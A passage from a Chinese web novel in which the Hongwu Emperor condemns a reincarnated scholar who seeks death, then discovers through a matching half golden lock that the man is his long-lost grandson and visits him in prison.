此人必是那群狗屁倒灶的文人的钉子! 这群阴险的文人!云淡风轻的就给来一刀,直插命门啊! 那劳什子的庶嫡之说分明就是抛砖引玉,这是想把我淮西一脉往死里整啊! ...... 老朱冷着个脸看着眼前的朱煐,事实上此刻的他有怒意,但同时大脑却保持了冷静。 这小子究竟是哪边的人? 老朱已经当了二十五年的皇帝了,岁月让他深谙帝王之术。 朝中局势老朱了如指掌。 自太子死后,文官集团就隐隐靠向了朱允炆,而淮西一脉自然就选了朱允熥。 只是先前对于这些,老朱并不在意,也没心情多想,他的心神全都在死去的儿子身上。 原先以为眼前这小子是淮西一脉的,可如今看来,这番话,分明就是给了淮西一脉一刀.... 老朱眯着眼睛。 望向朱煐,他竟错愕地发现,一时之间居然有些看不透! 不过.... 看得透看不透又如何? 这小子已有取死之道! 老朱眼中满是杀意。 好好好,既然你想以性命入局,咱就成全你! “砰!” 老朱猛地一拍龙椅,豁然起身。 这一瞬,整个奉天殿瞬间安静! 一切声音在这一霎尽数消失。 老朱冷冷地扫了朱煐一眼:“咱不知道你想做什么。不过咱是皇帝,言而有信。先前咱让你答,答好了,杀你一人,答不好,诛你九族。” 老朱一字一句地说着,最后眼神死死盯着朱煐。 “你答的...咱觉着不好!” 此言一出,杀意铺天盖地席卷全场。 老朱目光灼灼盯着朱煐,似乎想从他的身上看出点什么来,然而当他这话说出来之后,老朱愣住了.... 他居然在朱煐的脸上,看到了一丝...轻松与解脱? 这是怎么个意思? 他想过朱煐的各种反应,可这样的反应,却是老朱万万没有想到的.... 这他娘的是什么反应? 不过老朱也只是犹疑了片刻,旋即便更恼。 这厮到这会儿了,还在挑衅咱! “陛下,您言而有信,学生也言而有信。” “莫说九族,十族尽灭,也是无妨。” “学生,引颈受戮!” 朱煐不退半步,盯着老朱,四目相对。 老朱脸色涨红:“好好好!好一个十族也无妨,那咱还真得成全你!” “蒋瓛!” “臣在!” 殿外,锦衣卫指挥使蒋瓛带着几名殿卫涌入。 “将这小子给咱带到天牢去,他不是要咱灭他十族吗?咱就让他亲眼看着他的十族如何尽灭!” 老朱冷哼一声,拂袖而去.... 第5章 半片金锁,老朱心态崩了! 朱煐闻言,眉头一挑,大喜。 他没有挣扎,一脸视死如归的架势,被蒋瓛架离了大殿,百官看着朱煐被架出大殿,从他的脸上看不到丝毫的惧意,更听不到一声的求饶。 好硬的骨头! 无论是淮西勋贵还是文官集团,心中不由暗惊.... ...... 很快,朱煐就被蒋瓛压入了天牢。 作为一个外来客,立刻就引起了周围关押着的罪犯的注意。 蒋瓛将朱煐扔在了一个单间。 阴暗潮湿的天牢里,大多是犯了死罪的死囚,这些死囚大都是多人间,很少有人能享受单间待遇。而显然,以朱煐今天所犯下的罪行,足以在这大明天牢里享受单间待遇了。 蒋瓛只是将朱煐扔进天牢之后就锁上了牢房的大门转身离去。 哪怕是身为锦衣卫总指挥,蒋瓛面对朱煐依旧感觉有些发憷。 这小子敢当朝拿刚去世的太子殿下开涮,敢三番五次当着陛下的面嘲讽陛下,更是插手立皇储之事,朝堂上大放厥词,这样摆明就是奔着死去的家伙,蒋瓛可不想因为和这厮有三言两语的交集引火烧身。 君心难测,万一要是被陛下误会了,那就大事不妙了。 蒋瓛心里清楚,被看他是锦衣卫总指挥,看似好像是陛下的心腹,可信任这东西,说没他就没!更何况,还是陛下的信任! 伴君如伴虎,万事小心才能活得久一些! ...... 蒋瓛离开。 朱煐自顾自地从牢房的一角抱起了一些稻草,扑在牢房相对干燥一些的地方,然后就就这么躺了下去。 这天牢他可是老熟了。 虽然这辈子是没有进来过,可前几世这天牢可进进出出了好几回。 大明天牢的这环境还算是不错的了。 想到等过几日就能被老朱赐死,朱煐心里难免有些激动。 轮回九世,等的就是这一刻! 总算是要被小爷我等到了! 至于诛九族,诛十族? 诛去呗,这辈子穿越的这身体,唯一的双亲已经去世,双亲生前还是逃难到这皇城脚下的流民,没有宗族根源。 读书也都是自学的,靠的是前几世的积累。 这些年都在苦读,也没有怎么和外界接触,也就是没钱花的时候出去做点小生意,填饱肚子而已。 可以说,这一世,自己就是孑然一身。 什么九族十族的,谁死不死的,和咱也没有什么关系了。 ..... 就在朱煐思绪纷飞的时候.... 其余牢房的死囚们看向朱煐所在的牢房,眼中充满了敬畏。 相互之间交流都压低了声音,生怕惹恼了对方。 这好家伙,在天牢住单间,这可不是一般的档次! 寻常的天牢囚犯,基本也就是犯了个死罪。可住单间的死囚,那起步就是诛三族! 而且这小子还是凶名赫赫的锦衣卫都指挥使蒋瓛亲自押送入的天牢! 这是什么待遇? 这是什么档次? 在天牢里待着的哪一个不是老油条? 这大明天牢,也分三六九等,而朱煐这样住单间的,就属于天牢死囚中实打实的顶流! 朱煐躺在最高规格的天牢单间里,躺在略有一些潮湿的稻草铺成的地铺上,看着天花板上的那一张张密布的蜘蛛网,只觉得一阵畅快。 漫长的旅途就要结束了,终于,要回到熟悉的世界。 到时候有着几乎无尽的寿元,完全可以肆意安排自己的人生.... ..... 这头,朱煐正畅想着回归后的美好生活。 另一头,退朝回到御书房后的老朱却是面色格外地凝重。 先前在朝堂上老朱还刻意控制自己,如今四下无人之后,老朱才变了脸色! 朱煐说的话一直在他的脑海里不断翻来覆去地回响。 原本朱标去世后,老朱也曾想过继承人的问题,他更倾向于孙子朱允炆。 从小到大,朱允炆在老朱眼中就是个乖孩子,虽然能力尚不足以当储君,可能力可以培养,倒是不急。 他也没有细想深思。 可如今朱煐这一番话让老朱意识到,一旦立朱允炆,那么原先给儿子朱标打造的淮西一脉的班底非但不能成为臂助,反而会成为一个随时引爆的火药桶! 为了大明的延续,老朱从大明刚开国就开始布局,一方面培养儿子朱标的能力,另一方面亲自给他培养班底。 蓝玉、淮西一脉、全都对朱标忠心耿耿,甚至朱标一声令下,要说造反,也并不是没有可能! 老朱要的就是这个效果!这一套班底是留给儿子,留给未来大明的! 可现在.... 回想朱煐的话,老朱越发感觉棘手.... “咚咚咚。” 御书房房门敲响。 老朱的思绪被打断。 “陛下!” 门外,响起蒋瓛的声音。 “进来吧。” 老朱回过神,蒋瓛也推开了门。 “陛下,那狂生已经被押入天牢。” 蒋瓛回来复命。 “去,给咱查查这小子的背后究竟是谁!” “咱得看看是谁这般好心提醒咱。当真是好手段!” 老朱眯着眼睛。 要说朱煐背后没有人,老朱不信。 一个前途无限光明入了殿试的贡生,尚未入朝就要死谏? 事出反常必有妖! 这背后一定是有人指使! 而哪怕是老朱知道这背后有人指使,也不得不承认,朱煐的死谏成功了!老朱明白,那一番话已经彻底影响到了自己! “陛下,臣已经让人去查抄此人的住所了,或许能找到一些线索。” “嗯,有了消息就给咱呈上来!” 老朱点了点头。 蒋瓛领命退下。 ..... 而与此同时。 凉国公府。 凉国公蓝玉,继徐达常遇春之后的大明第一战神。是常遇春妻弟,是朱标正室常氏的舅舅,是老朱留给儿子在军中的定海神针! 蓝玉是坚定的朱标党! 蓝玉府邸。 作为国公,蓝玉可以自己选择是否去上朝。 一般蓝玉不乐意去,所以都在家里待着。 凉国公府气势恢宏,占地广阔,蓝玉正在家中的院子里练着刀法。 他将院子改造成了自己专属的演武堂,刀枪剑戟都摆放在两侧,相当全面。 “老爷!老爷不好了!” 蓝玉正气定神闲地演武,蓝府管家忽然火急火燎地冲了进来,打断了蓝玉练刀。 蓝玉眉头一皱,看向管家钱七。 “发生了什么事?” 钱七是府上的老管家,寻常事不至于让他这么惊慌。 “老爷,宫里传来消息,有人想让陛下立皇孙允炆殿下为皇储!” 钱七苦笑着将刚从宫里送出来的信递给了蓝玉。 “立就立吧。皇储之位自有陛下决断,允熥这孩子我见过几次,性子确实懦弱了些,若是能立允熥自然最好,立朱允炆的话,大不了被那些文臣说两句,又不是什么大事。” “朝中总不能只有文臣没有武将吧?带兵还得靠我们。” 蓝玉不以为意。 在他想来,以自己带兵打仗的本事,无论是谁日后上位,都必然会倚重自己。 事实上对于扶朱允熥的事情淮西一脉的其他人比蓝玉这个亲舅姥爷更加上心。 他们想着从龙之功,可蓝玉,贵为凉国公,几乎已经快到封无可封的程度。 再往上? 封王吗? 大明可没有活着的异姓王! 再者蓝玉深知老朱的脾气,皇储之位争的再欢,终究靠老朱这个皇帝决断,劝谏的效果有,但并不大,甚至还要冒被怀疑忌惮的风险。尤其是替朱允熥争位的话,更是危险,毕竟朱允熥性子过于懦弱,满朝皆知。 收获没有收获,风险却大得很,所以蓝玉并不想插手皇储之争。 他在家中不去上朝也有避这风头的意思。 “老爷,要不您还是先看看吧。” 钱七苦笑。 “???” 蓝玉一愣,而后皱着眉头打开了手中的信件。 信是同为淮西一脉的勋贵在朝会后立刻写好递出来的,上面的墨迹还没有干。 打开信一看。 顿时,蓝玉面色骤变! 原本云淡风轻的面色荡然无存,整个人瞬间愣在了原地.... 紧接着,背后汗毛直立,冷汗瞬间浸透了背衫。 信中简单说了一番朱煐的观点。 朱允炆上位,老朱去世,淮西勋贵完全有能力发动兵变,顷刻之间就能让大明换个皇帝! 兵变! 这两个字太重太重了! 虽然蓝玉没有往这方面想过。可看着这信,仔细一思量,蓝玉发现,自己以及淮西一脉绝对有这个能力! 当真如上面所写,要等陛下归天,朱允炆上位,真要发动兵变的话,那帮子文臣毫无反抗之力! 兵变成功概率,近乎百分之百! 想到这些,蓝玉心里没有半点的高兴,反而从心底里涌上一股惧意! 是,兵变成功概率几乎百分百,可关键是。现在朱允炆还没上位,陛下还在位上啊! 当朝点破这一点。这意味着什么? 意味着倘若陛下真要立朱允炆,那就必须先消除自己以及淮西一脉这个隐患! 而以陛下的性子....一定会! 遭了! 蓝玉的脸色难看到了极点.... 管家钱七在一旁不敢吭声。 足足过了好一阵,蓝玉的脸色才稍稍缓过来一些.... 他看着信沉吟良久,而后抬头四十五度角望向湛蓝色的天空,幽幽道:“看来这一趟浑水是不得不蹚了。朱允炆不能为皇储!皇储必须是允熥!” “允熥那孩子上位,我等淮西一脉就是他的臂助。朱允炆要为皇储,陛下会对我等动手,提前为他铺路。” “这不要命的狂生真是一杆好枪啊!” “那些个文人真他娘的阴险!” 蓝玉破口大骂。 虽然自己没有想过兵变,可有这个能力就是有罪! “这狂生叫什么名字?他可有亲友?” 蓝玉咬牙切齿,恨得牙痒痒。 钱七苦笑:“老爷,此人叫朱煐。至于亲友....现在该是有的,可很快估计就没了,张侯爷说他让陛下灭他十族,陛下很生气...这小子亲友怕是都完了。” 蓝玉:“......” ...... 转眼,日落西山。 时间来到了下午。 御书房里,老朱心不在焉。 他的脑海里一直回荡着朱煐先前在朝堂上说的那番话。 蓝玉...淮西一脉.... 这些原本是他留给儿子朱标的班底,文臣班底和淮西的武人班底。 两相结合,大明稳如泰山。 可朱煐一番话让老朱意识到,真要立朱允炆,那以蓝玉为首的淮西一脉指定是不能留了。 立朱允熥的话倒是两套班底都能留下,只是.... 想到朱允熥的性子,老朱又纠结了... 朱允熥的懦弱还要远胜传言。 在听闻淮西一脉想扶自己上位的第一时间朱允熥就找到老朱一阵痛哭,说无意争储,求立兄长朱允炆为皇储。 孩子这般性子,如何当大明未来的君王? 老朱正想着。 “咚咚咚!” 急促的敲门声让老朱抬头。 紧接着。 “陛下!” 蒋瓛的声音响起,声音中竟是有些颤抖。 “进。” 老朱刚回过神,倒是没听出蒋瓛的声音变化。 蒋瓛进来之后赶忙关上了御书房的房门,脸色潮红,一脸的激动。 老朱这时候也注意到了蒋瓛的异常。 老朱蹙眉。 “发生什么事了?” “咱不是让你去查那狂生了吗?” “可是从他的行礼中查到了与朝中谁的书信往来?” 蒋瓛没有回话,苦笑着从怀中掏出了半片金锁和一块绣工精细的黄色绸缎。 蒋瓛拿出这两件东西,老朱只随意扫了一眼,瞬间变了脸色! 原本坐着的老朱豁然起身,呼吸急促!眯着的眼睛猛地瞪大,整个人身上爆发出一股独属于帝王的恐怖气势! 当了几十年的皇帝,老朱身上的气势恐怖的吓人,只是平日里他都收着,气势内敛,可这一霎,这股子气势不可控制地瞬间爆发了出来! 看着眼前的两件物件,老朱整个人开始颤抖。 他一把夺过蒋瓛手上的半片金锁。而后老朱从怀中掏出了半片几乎一模一样的金锁.... 他颤抖着手,将两个半片金锁慢慢靠近。 两片金锁合在了一起,严丝合缝! “合...合上了!” 老朱整个身躯开始颤抖。 眼睛里的泪水不可控制地落下。 “哈哈哈哈哈!” “合上了!合上了!” 老朱边笑边哭,状若癫狂,沟壑纵横满是皱纹的老脸上,灌满了泪水.... 第6章 咱的乖孙,为什么不认咱呢? “咱的乖孙!” “是咱的乖孙的金锁!” 老朱手里拿着金锁,埋藏在脑海深处的记忆不断涌现..... 那是洪武十五年。 这个年份,是老朱这辈子最不想回忆的一个年份。 在这一年,他最疼爱,视为大明未来的真正大明皇长孙,真正大明嫡孙,朱雄煐去世了。年仅八岁。 而更让老朱难以接受的是,三个月后,同年八月,挚爱马皇后也随着他的乖孙一起去了。 老朱不愿想起,每一次想起,恍如昨日,悲痛万分。 可现在,脑海里的记忆再也无可遏制地涌现出来。 眼前的画面就像是放电影一样,不断在老朱的眼前闪过,最终定格在了那个风雨交加的雨夜。 洪武十五年,五月,朱雄煐因病去世,紧接着便葬入了钟山。 这是整个大明都知道的事情,也是记入史料的事。 可谁也不曾知晓,就在朱雄煐,这位大明嫡长孙葬入钟山的那个风雨交加的夜晚钟山爆发了小规模的山洪。 这山洪来的奇怪,就单单冲塌了安葬朱雄煐的坟冢。 而更为离奇的是当锦衣卫找到棺材的时候,棺材盖子被掀开了!皇孙的尸身,不翼而飞! 和尸身同时不见的还有棺材里放着的两件陪葬品。 半片连心锁以及一张朱雄煐出生时裹的黄帕.... 当年听闻此事的老朱震怒,为了封锁消息大手一挥杀了知晓此事的上千人! 蒋瓛也是其中之一。 原本他也是要死的,只因一句‘皇孙或许还活着’,老朱留了他的性命,更是让他带锦衣卫暗中寻找有关朱雄煐消息的线索,活要见人死要见尸! 但很可惜,由于当晚的山洪和大雨,抹去了一切的痕迹。 一晃十年过去,蒋瓛成了锦衣卫都指挥使,成了锦衣卫的老大。 找寻的工作一直在进行,从未停歇,一次次疑似找到了线索,可一次次又落空。 无论是老朱还是蒋瓛,其实心中都已经放弃了,默认接受了朱雄煐去世的事实,只是心里安慰自己,找不到尸身便算不得死。 或许在某种意义上而言,没有消息那就是最好的消息..... 可现在.... 老朱盯着眼前的金锁和黄帕。 这两件东西同朱雄煐的尸身一同消失在了那一场山洪大雨中.... 而如今却又同时出现! 老朱的激动,可想而知! “咱...咱的乖孙还活着?” 老朱声音颤抖,眼睛含泪,望向蒋瓛.... 老朱的眼神里有五分渴盼还有五分的惧意。 他是大明开国的皇帝,是坐拥大明江山的帝王,是百官谈之变色的洪武大帝! 他从来不知道什么叫做害怕! 可现在....老朱就像是一个普普通通的老人,眼中充满了担忧。 他想听到乖孙的消息,可却又担心听到的是找到了他的尸骨.... “陛下,臣已经细查了一遍,皇孙,应该是还活着,而且长得很好....” 此言一出,老朱瞳孔一缩,手里的金锁‘啪嗒’一声掉到了地上.... “咱的乖孙还活着?” “他在哪里?” 老朱此刻的内心无比的复杂,各种情绪不断交织,剪不断理还乱。 一个月前,他最看重的儿子,太子朱标突然的去世给了老朱一个沉重的打击。 可一个月后的此刻,却忽然听到了这么一个让人匪夷所思的消息! 去世,本该死了整整十年的大孙子,居然活了? “这....” 面对老朱的追问,蒋瓛却是一时语塞,面露难色。 顿了顿蒋瓛才冲老朱苦笑道:“陛下,您刚不久前才见过呢,还和他说了话....” “????” 蒋瓛的这话一出,顿时把老朱给整懵了.... 什么玩意儿? 咱见过咱的乖孙了? 还说了话? 这怎么可能? 这近段时间一直在宫中,并未外出啊..... 这段时间以来老朱一直沉浸在丧子之痛中迟迟没有缓过来,一直就在宫中,并未出门。 忽的,老朱好像想到了什么,顿时面色骤变! 难道咱乖孙... 老朱的脸色唰的一下难看了起来.... 咱一直在宫中并未外出,可蒋瓛又说咱刚见过乖孙,还说了话...在这宫中的人,除了自己之外,那其他的.... 难道咱的乖孙,被人送入了宫中,当了那.... 就在老朱脑海里的思绪即将想歪的时候,蒋瓛苦笑着继续道:“陛下,要是不出意外的话,长孙殿下他便是今日刚在朝堂上让陛下您诛十族的朱煐了....” “???” 老朱听到这话,顿时拉回了原本即将走歪的思绪,瞪大了眼睛,目瞪口呆地看着蒋瓛。 “你...你说谁?” “这东西是那殿上狂生的?” “他叫....朱煐?” 老朱整个人都懵了.... 蒋瓛点了点头:“是的陛下,臣奉命去调查他的九族,结果一核查却发现,此人竟是无一亲族!” “朱煐家在城外野地的一户农家家中,父母是流民,早已与亲族走散,洪武七年在城外野地搭了个草棚安家,洪武十八年病逝。” “朱煐最开始出现是在洪武十六年,那时他父母病重,他便走街串巷替人写字赚口粮,后来做了一些小买卖。” “他一边救治父母一边摆摊赚钱,一边买书自学。寒窗数年,未曾拜师。” “和他有关系的只有那对城外野地的农户。但他们已经去世。” “这长命锁和黄帕都是从他的行礼中找出来的。是他随身带的物件。除了这两件东西之外,他就带了一些银两入城。再无其他。” “虽未细查,但臣以为,时间地点都吻合,再加上这长命锁和黄帕....倘若皇孙还在世的话,那便是他了...” 蒋瓛说完自己的判断幽幽的叹了口气.... 他让锦衣卫去调查,越查越心惊! 洪武十六年,那会儿皇孙才几岁? 九岁的年纪,父母重病,赚钱养家,同时还自学读书,关键还没有拜师,靠着自己琢磨自学,几年之后居然还考入了殿试! 可别小看殿试的最后一名! 大明千千万万的考生,能入殿试的也就五十人左右!哪怕是最后一名,也是科考的大赢家! 这些人,每一个说出去那都是天子门生,最次最次也能入朝为官,万万人之上! 能入殿试的,无一不是人中龙凤,要么师承名门哪怕是寒门子弟,也是拜访名师,什么时候听说过靠自己看书学出来的? ..... 蒋瓛是心惊。 可老朱听着蒋瓛的这些话却心中满不是滋味。 “他的名字是谁取的?是他那农户吗?” 老朱看向蒋瓛。 蒋瓛摇了摇头:“应该是自己取的,那对夫妻虽然也姓朱,却不曾读书,原先给起的名字是朱大,那对农户去世时墓碑上刻的就是朱大,朱煐是后改的名。” “是咱乖孙!” “是咱乖孙啊!” 听着蒋瓛说的,老朱再也忍不住,当场泪崩。 “他一定记得咱,一定都还记得!” “要不咱乖孙为什么起这么个名字?” “他明明记得,却不认咱。” “是了,他定是不想让咱为难。” “一个九岁的孩子,赚钱供养父母,给父母治病,还要读书,好不容易考入了殿试,和咱见了面,可咱却把他给打入了大牢,还要诛他十族,咱....” “啪!” 老朱猛地抽了自己一巴掌。 “陛下,使不得啊陛下。” 见老朱还要抽自己,蒋瓛赶忙上前拽住了老朱。 “陛下,或许是皇孙有自己的想法。” “错不在您啊陛下。您不也找了十年吗?” 老朱‘噗通’地一声,一屁股坐到地上,原本就萎靡的精神,仿佛好像真的彻底丢了魂似的..... 找了十年的大孙子,默默地吃了十年的苦不说,好不容易历尽千辛万苦见到了自己,还是靠自己考科举,说不定是想给自己一个惊喜,可自己不分青红皂白就把他给打入了天牢.... 老朱脑海里思绪万千,越想越觉得愧疚.... “陛下,既然如今已经找到了皇孙,您何不亲自去见见?都是一家人,这有什么话是说不开的?” “您说呢?” 蒋瓛小心翼翼地看着老朱开口,眉宇间满是担心。 老朱现在的状态可太差了,蒋瓛生怕老朱出了问题。 如今的大明看似安稳,可实际上暗流汹涌,老朱就是那波涛涌动的江海中的那一根定海神针,他在,一切都好,可一旦他要是出了点事,那大明必乱! 而且锦衣卫作为老朱的心腹,一旦老朱出事,覆巢之下焉有完卵?蒋瓛也讨不了好。 蒋瓛的话给老朱结结实实提了个醒。 老朱顿时眼前一亮。 “对对对,咱要去见咱乖孙,咱要去见雄英!” 老朱说着猛地起身,三步并作两步就走到了御书房门口,正要出门却又停住了步子。 “陛下,怎么了?”蒋瓛疑惑地看着忽然驻足的老朱。 “不行,咱不能就这么去见,咱要先好好拾掇拾掇,快,让人给咱安排沐浴,咱要洗干净了再去见咱的大孙!” ...... “阿嚏!” 就在老朱那头火急火燎地沐浴更衣的档口。 正躺在天牢单间里呼呼大睡的朱煐忽然打了个喷嚏。 揉了揉鼻子,朱煐醒来,睡了一下午,感觉腰酸背痛的。 周围其他牢房的囚犯们都压低了声音说话,生怕打扰到了朱煐,看向朱煐的目光中都带着敬意和钦佩。 一个被锦衣卫头头亲自押入天牢,还住上了单间诛三族起步的家伙,居然还能睡得这么香甜? 不愧是能被诛三族起步的存在! 这人就是非同凡响! 死囚之间,亦有差距! 朱煐翻了个身,准备继续眯会儿。 然而就在这时,牢里的差役给送来了一碗刚煮好的清水面条。 “小先生,吃些面吧。” 差役是个身形有些佝偻的瘦小老汉,但他的眼睛却很有神。 他叫周福,在这天牢里当差有些年头了,一般他对牢里的囚犯态度都不错,人都要死了,死者为大。也算是给自己积些阴德。 而对这位锦衣卫头头蒋瓛亲自押送进来的,三族起步的特殊人员,老周还特意关照,专门给煮了一碗清水热面,还加了少许的猪油。 朱煐看着面,肚子倒是也确实饿了。 “多谢差役大叔了。” 接过面条朱煐就呼哧呼哧吃了起来。 人是铁饭是钢,砍头也得做个饱死鬼嘛! ..... 朱煐正吃着面。 蒋瓛也带着换上了便服的老朱来到了天牢.... 第7章 陛下,您不配啊! 老朱一进天牢就闻到了一股有些令人作呕的发霉的霉味.... 他忽然停了下来。 蒋瓛也跟着停下了脚看向老朱。 “陛下?” 老朱抬头看着那墙上的蜘蛛网,还有那长满了霉菌的砖瓦,看着那衣衫破烂躺在潮湿的角落的死囚,顿时鼻头一酸.... 老朱看向蒋瓛。 “蒋瓛,你说咱怎么...怎么就把咱孙给打入天牢了呢?” “他这会儿指定是恨透咱了吧?” “这是人待的地儿吗?” 老朱的眼里满是愧疚与心疼..... 蒋瓛看着满脸心疼的老朱,嘴角不由抽了抽。 不是,我的爷,上回您老人家来天牢不还觉着这天牢环境条件太好了吗? 您老人家这杀人不眨眼的时候可没这样.... 当然,这些话蒋瓛自然是不能说出来的,这要说出来纯属就是嫌命太长了.... “陛下,这您之前不也是不知道嘛?” “如今知道也不晚,日后有的是机会弥补嘞。” “对,咱日后还有机会。快,给咱大孙关到哪个牢房了?还不快给咱带去?” “可别叫人给欺负了.....” “陛下放心,殿下住的是单独的牢房。您忘了?夷三族以上的,天牢都单独关押。”蒋瓛提醒。 老朱顿时一呆。脸色更难看了。 遭了。 差点忘了,咱殿上还要诛了雄英的九族.... 一时间,老朱的内心变得忐忑无比,七上八下的。 换位思考,倘若是自己身上出了这样的事.... 寒窗苦读多年,只为了能堂堂正正见上爷爷一面,结果一见面,只是因为提了一点点微不足道的小意见,就被亲爷爷下令打入天牢,诛九族! 绝望! 这是何等地绝望? 老朱神色一黯.... 难怪...难怪咱大孙在殿上那会儿那般激动,甚至想让咱诛十族! 这是彻底怨上咱了。 该怨!该怨! 雄英啊...都是咱的错,咱怎么能不认识咱的亲孙子呢? 想着老朱的眼眶更红了,眼泪在眼珠子边上打转。 铮铮铁骨的洪武大帝,此刻的内心却是患得患失,既期盼见面,又害怕见面.... ..... 牢房里。 朱煐正呼哧呼哧地大口炫着碗里的热面。 砍头是可以的,饿肚子是不行的。 有条件还是要吃饱才好。 蒋瓛带路,心怀忐忑的老朱一路上心不在焉。 不多时,蒋瓛驻足在了朱煐牢房的不远处。 老朱也回过神,看着正呼哧呼哧吃着碗里的热面条的朱煐,一瞬,原本湿润的眼眶,再也忍不住了,热泪一道道落下.... “咱孙...咱的乖孙受苦了!” “一碗白面,吃的这般,这些年他过的是什么苦日子?” 老朱喃喃自语。 一旁的蒋瓛低着头,闭着嘴,生怕再给老朱一个什么刺激。 这会儿的老朱已经再也经受不住任何的刺激了。 足足缓了好一阵老朱才稍稍调整好了自己的情绪。他就这么默默地站在角落,看着朱煐吃完了面条.... 朱煐吃饱之后把空碗放在了一旁,拍了拍肚子,就准备躺下。 忽然耳边响起.... “面好吃吗?” 朱煐一抬头便看到了走到牢房门口的老朱,四目相对,不由一愣。 “陛下?” 朱煐愣住了,老朱在这个时间出现在这里,着实是大大出乎了他的预料! 不过旋即,他不由大喜。 “陛下,您是来杀我的?” 如今自己已经被冠以诛九族的罪名,如今又在这天牢看到了老朱,这意味着什么? 朱煐的脑海里第一时间浮现出了四个大字——秘密处决! 这是要让自己死在狱中? 妙啊妙啊! 等候问斩自然不如现在就死来得高效,朱煐有些兴奋了! 可听着朱煐的这话,老朱却没来由的优势心头一酸。 看着朱煐,老朱苦笑道:“咱在你心中,就这般不堪吗?” “为何光想着要咱杀你?” 朱煐听着话翻了个白眼。 搞笑。 不想着让你杀,我干这些事做什么? 心里这般想,可面上朱煐却是一脸正义凛然地老朱,神色一正:“学生于殿上所言句句发自肺腑,立朱允炆为皇储,大明已有取死之道!” “陛下要杀学生,诛学生九族亦或是十族陛下请便,但学生只信奉真理,只遵从内心!” “学生坚持学生的观点,要杀要剐悉听尊便。” 朱煐大有一副随时慷慨赴义的架势。 同样的话,朱煐在朝堂上说过,可这会儿,在这天牢里老朱再听到朱煐的这番话,却没有半点愤怒,反倒是心中一苦。 一字一句落在老朱耳朵里,却像是一根根刺,深深扎入了老朱的心里。 “咱孙这是在怪咱呢。” “是咱说的要诛他十族,是咱明知他说的对却......” 老朱看着朱煐不说话,眼中交织着各种情绪。悔恨、愧疚、欣喜、心疼.... 一旁的蒋瓛见情况不对赶忙开口,同时弯下腰打开了牢房的大门。 “朱公子您先别激动。陛下此番前来只是想和公子好好聊聊。” “???” 朱煐闻言一愣。 老朱要和自己好好聊聊? 聊什么? 朱煐疑惑地看向老朱。 老朱赶忙点头:“是是是,咱来就是想好好聊聊。” 朱煐稍稍愣神后,看着眼前的老朱和蒋瓛,很快便恍然了。 明白了! 看来老朱这是想从自己的嘴里套出点东西,要不这偷偷摸摸地让蒋瓛带着来这天牢里做什么? 当帝王的疑心重,指定是自己此前在朝堂上的行为过于反常了一些,所以引起了怀疑,这是怀疑自己背后有人指使,想来套话呢! 倒也无妨,反正以自己所犯的罪行,死是死定了,圣旨都下了,还是当着满朝文武百官的面,结局既然已经注定,那现在就只剩享受过程。 朱煐的目光肆无忌惮地上下扫着近前的老朱,这般明目张胆地上下扫视,对于老朱而言明显是一种冒犯。 可朱煐就冒犯了。 他想更清楚地看看眼前的洪武大帝。这个只在历史课本里出现过的人物。 老朱的样貌倒是和后世广为流传的那张鞋拔子画卷里的画像有着不小的区别。甚至可以说是全然不同! 老朱的样貌算不得帅,但却也算不得丑,面相周正,是个气质不错的普通人。 来这大明一趟,转眼就快走了,能有这样近距离接触洪武大帝的机会,不容错过,朱煐肆无忌惮地扫视着老朱。 至于会不会触怒老朱? 要是能触怒老朱,那就....更好了! 被朱煐这么肆无忌惮地看着,老朱反倒是有些局促了。 心里更忐忑,更慌乱了... “咱...咱能进去坐坐吗?” 老朱小心地瞟了一眼朱煐,然后指着朱煐一旁的空着的稻草铺的空地。 “当然。” 朱煐虽然疑惑,却让出了身子。 这俩字落在老朱而立无异于天籁,顿时露出了笑容,赶忙坐到朱煐身边的空地上。 朱煐和蒋瓛也都坐了下来。 朱煐看向老朱。 “陛下想聊什么?” 朱煐现在没有了求死的负担,因为这会儿已经确定九族尽灭。 皇储之事向来都是禁忌的话题,自己在这话题上反复横跳,来回蹦迪,死是死定了,这一点上,朱煐很自信。 没有任务负担之后,近距离接触起老朱,与历史书上赫赫有名的人物坐在一起,倒是有种别样的感受.... 老朱看向蒋瓛,老朱向来都是有主意的,他是大明的开国皇帝。可这会儿的老朱,却像是个新兵蛋子,慌乱无措,面对朱煐,乱了心神。 蒋瓛哪敢搭话,正好装作看不到,低着头,一声不敢吭.... 老朱定了定心神,看向朱煐。 “你...你觉得咱咋样?” 老朱十分忐忑地看着朱煐。 朱煐皱了皱眉头:“陛下你说的是哪方面?” “各个方面。” 老朱赶忙补了一句,同时有些期待地看着朱煐... 朱煐想了想说道:“嗯...其实在学生心中,陛下您一直以来都是一个合格的君王。开大明盛世,复汉唐雄风,亲手终结了易子而食的乱世,论文治,如今大明安泰,百姓安居,这些都是陛下您的功劳。” “您的勤勉世人都看在眼里,纵观历史君王,论勤勉,您当属前列。” 朱煐由衷地说道。 这些话是他发自肺腑的,虽然很多人说老朱的性格暴虐,他不是一个仁君,但勤勉,这一点上,毋庸置疑,没有争议。 无论是因为什么原因,最终的结果就是在老朱治理大明的数十年时间里,让整个华夏大地从千疮百孔过渡到了百姓安居。 这也给了后来的永乐盛世打下了坚定的基础.... 老朱看着眼前的朱煐,心中喜不胜收。 咱乖孙说咱是个好皇帝! 咱孙夸咱呢! 要说别人的夸赞,老朱耳朵都听出茧子了,都不稀得听。 可朱煐的夸赞对于老朱而言意义却全然不同! 老朱的心里暗喜,同时还有些小得意.... 他抬头给了蒋瓛一个眼神,眼神中带着些许的傲然与得意。 蒋瓛当即笑着接过朱煐的话道:“如今大明强盛,百姓安居乐业,大家都念着陛下的好呢。” 老朱摆了摆手:“不值一提。这些事情都是咱该做的,不值一提啊。” “咱只是想让咱大明的百姓都能吃饱饭,咱试过那吃不饱饭的机会。” 说着好似勾起了老朱的回忆,泪眼有些婆娑,看向朱煐:“咱知道那种亲朋在眼前活活饿死的无力,咱知道!” “所以从咱当上了这大明皇帝开始,咱就心里告诉自己,咱要当一个好皇帝,要让天下的百姓都能吃饱饭。” “这龙椅不好坐啊。咱坐了这二十五年,如坐针毡,担心官员欺上瞒下,担心咱的百姓受人欺凌....” 朱煐看着老朱,心里暗暗叹了口气。 老朱这皇帝当的倒是也不容易。 不过好在大明是强盛了,日后迎接大明百姓的就是永乐之治,日子过得倒也不错。 当皇帝老朱倒是当的不错。 可惜.... 朱煐摇了摇头,想到之后大明的未来走向,有些怅然... 一旁的老朱一直在观察注意着自己的这失而复得的‘乖孙’,原本听到朱煐的称赞他的心里很高兴。 可却又见朱煐摇头,心里不由一突突。 老朱给蒋瓛使了个眼色,蒋瓛当即会意开口:“小先生何故摇头?” 